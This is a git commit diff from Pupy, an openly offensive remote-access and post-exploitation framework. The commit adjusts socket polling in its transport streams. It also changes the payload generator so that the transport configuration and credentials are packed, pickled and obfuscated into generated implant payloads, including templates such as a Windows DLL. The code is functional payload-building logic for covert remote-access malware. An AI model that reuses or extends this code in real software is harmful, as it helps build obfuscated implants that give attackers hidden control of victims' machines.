network custom conf are now automatically embedded without the need for recompiling

windows payloads
This commit is contained in:
n1nj4sec 2016-06-18 13:01:26 +02:00
parent 9a7c2148e1
commit 7510d2f070
2 changed files with 18 additions and 5 deletions

View File

@ -73,7 +73,7 @@ class PupySocketStream(SocketStream):
self.buf_in.write(BYTES_LITERAL(buf))
def poll(self, timeout):
return len(self.upstream)>0 or super(PupySocketStream, self).poll(timeout)
return super(PupySocketStream, self).poll(timeout) or len(self.upstream)>0
def sock_poll(self, timeout):
return super(PupySocketStream, self).poll(timeout)
@ -88,7 +88,7 @@ class PupySocketStream(SocketStream):
if len(self.upstream)>=count:
return self.upstream.read(count)
while len(self.upstream)<count:
if self.sock_poll(0):
if self.sock_poll(0.0001):
with self.downstream_lock:
self._read()
self.transport.downstream_recv(self.buf_in)
@ -189,10 +189,10 @@ class PupyUDPSocketStream(object):
while len(self.upstream)<count:
if self.client_side:
with self.downstream_lock:
if self._poll_read(0):
if self._poll_read(0.0001):
self.transport.downstream_recv(self.buf_in)
#else:
# time.sleep(0.01)
else:
time.sleep(0.0001)
return self.upstream.read(count)
except Exception as e:

View File

@ -7,6 +7,7 @@ import logging, argparse, sys, os.path, re, shlex, random, string, zipfile, tarf
from pupylib.utils.network import get_local_ip
from pupylib.utils.term import colorize
from pupylib.payloads.py_oneliner import serve_payload, pack_py_payload
from pupylib.payloads.python_packer import gen_package_pickled_dic
from pupylib.utils.obfuscate import compress_encode_obfs
from network.conf import transports, launchers
from network.lib.base_launcher import LauncherError
@ -14,6 +15,7 @@ from scriptlets.scriptlets import ScriptletArgumentError
import scriptlets
import cPickle
def get_edit_pupyx86_dll(conf):
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), conf)
@ -66,6 +68,8 @@ def get_raw_conf(conf, obfuscate=False):
l=launchers[conf['launcher']]()
l.parse_args(conf['launcher_args'])
t=transports[l.get_transport()]
#pack credentials
creds_src=open("crypto/credentials.py","r").read()
creds={}
exec creds_src in {}, creds
@ -79,6 +83,15 @@ def get_raw_conf(conf, obfuscate=False):
pupy_credentials_mod={"pupy_credentials.py" : cred_src}
new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(pupy_credentials_mod)))+"\n"
#pack custom transport conf:
l.get_transport()
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__)))
transport_conf_dic=gen_package_pickled_dic(ROOT+os.sep, "network.transports.%s"%l.get_transport())
#add custom transport and reload network conf
new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(transport_conf_dic)))+"\nimport sys\nsys.modules.pop('network.conf')\nimport network.conf\n"
new_conf+=obf_func("LAUNCHER=%s"%(repr(conf['launcher'])))+"\n"
new_conf+=obf_func("LAUNCHER_ARGS=%s"%(repr(conf['launcher_args'])))+"\n"
new_conf+=offline_script